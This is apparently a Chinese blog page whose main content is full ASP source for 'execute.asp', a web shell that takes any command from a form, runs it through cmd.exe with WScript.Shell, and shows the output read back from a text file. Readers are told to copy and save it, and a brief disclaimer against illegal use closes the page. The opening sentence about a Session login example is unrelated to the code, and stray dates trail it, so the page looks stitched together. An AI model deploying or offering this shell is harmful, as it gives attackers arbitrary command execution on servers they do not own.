一般来说,在实际开发中,对于 Session 对象使用最多的就是用户登录部分了,这个案例将简单模拟一个用户登录表单、用户是否登录的判断以及用户退出的一系列功能,它一共分了以下几个页面。 Log
顺晟科技
2019-08-16 15:31:04
390
注意的是,程序运行必须有FileSystemObject支持。以下是远程执行命令的原代码。
copy下来另存为execute.asp.
< META content=zh-cn http-equiv=Content-Language>
< META name=GENERATOR content="Microsoft FrontPage 4.0">
< META name=ProgId content=FrontPage.Editor.Document>
< STYLE>
< /STYLE>
< FORM method=post action=execute.asp>
输入要执行的命令:
size="20" value="dir c:\" style="background-color: #C0C0C0; color:
#000000; border-style: solid; border-width: 1">
< INPUT style="BORDER-TOP: #c0c0c0 1px groove; BORDER-RIGHT: #c0c0c0 1px groove; BORDER-BOTTOM: #c0c0c0 1px groove; COLOR: #000000; BORDER-LEFT: #c0c0c0 1px groove" type=submit value=执行 name=B1>
< /FORM>
< %
ml=request.form("ml")
cmd="c:\winnt\system32\cmd.exe /c "&ml&" >c:\whoamI.txt" '修改
whoamI.txt路径到一个有写权限的目录
Set WShShell = Server.CreateObject("WScript.Shell")
RetCode = WShShell.Run(cmd, 1, True)
if RetCode = 0 Then
Response.write ml & " "
Response.write " 命令成功执行!"&"
"
else
Response.write " 命令执行失败!权限不够或者该程序无法在DOS状态下运行
!"&"
"
end if
'response.write cmd
function htmlencode(str)
dim result
dim l
if isNULL(str) then
htmlencode=""
exit function
end if
l=len(str)
result=""
dim i
for i = 1 to l
select case mid(str,i,1)
case "<"
result=result+"<"
case ">"
result=result+">"
case chr(34)
result=result+"""
case "&"
result=result+"&"
case else
result=result+mid(str,i,1)
end select
next
htmlencode=result
end function
Set fs =CreateObject("Scripting.FileSystemObject")
Set thisfile = fs.OpenTextFile("c:/whoamI.txt", 1, False) '读文件,别忘
了修改路径.
counter=0
do while not thisfile.atendofstream
counter=counter+1
thisline=htmlencode(thisfile.readline)
response.write thisline&"
"
loop
thisfile.Close
set fs=nothing
% >
请勿将此程序用于非法途径,由此引起的一切后果由使用者承担。
06
2021-07
06
2021-07
06
2021-07
16
2019-08
16
2019-08
16
2019-08